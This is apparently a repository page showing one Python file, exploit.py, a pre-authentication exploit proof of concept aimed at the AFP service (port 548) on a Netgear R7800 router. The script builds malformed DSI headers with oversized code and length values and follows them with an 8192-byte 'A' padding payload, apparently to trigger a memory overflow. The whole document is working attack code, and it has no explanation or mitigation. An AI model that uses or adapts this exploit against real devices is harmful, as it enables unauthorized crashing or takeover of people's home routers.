STRLCPY/NETGEAR-R7800_AFPD-PreAuth

Total 1 files

■ ■ ■ ■ ■ ■

exploit.py

1	+	import socket
2	+	import struct
3	+	HOST, PORT = '192.168.1.1', 548
4	+	def connect():
5	+	global sock
6	+	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
7	+	sock.connect((HOST, PORT))
8	+
9	+	def create_block(command, dsi_code, dsi_len):
10	+	block = b'\x00' # dsi->header.dsi_flags
11	+	block += struct.pack("<B", command) # dsi->header.dsi_command
12	+	block += b'\x00\x00' # dsi->header.dsi_requestID
13	+	block += struct.pack(">I", dsi_code) # dsi->header.dsi_code
14	+	block += struct.pack(">I", dsi_len) # dsi->header.dsi_len
15	+	block += b'\x00\x00\x00\x00' # dsi->header.dsi_reserved
16	+	return block
17	+
18	+	def main():
19	+	connect()
20	+	pkt = create_block(0x4, 0x0, 0x1)
21	+	pkt += b'\x00'
22	+	pkt += create_block(0xFF, 0xFFFFFFFF - 0x50, 0x2001 + 0x20)
23	+	pkt += b'A' * 8192
24	+	sock.send(pkt)
25	+
26	+	if __name__=='__main__':
27	+	main()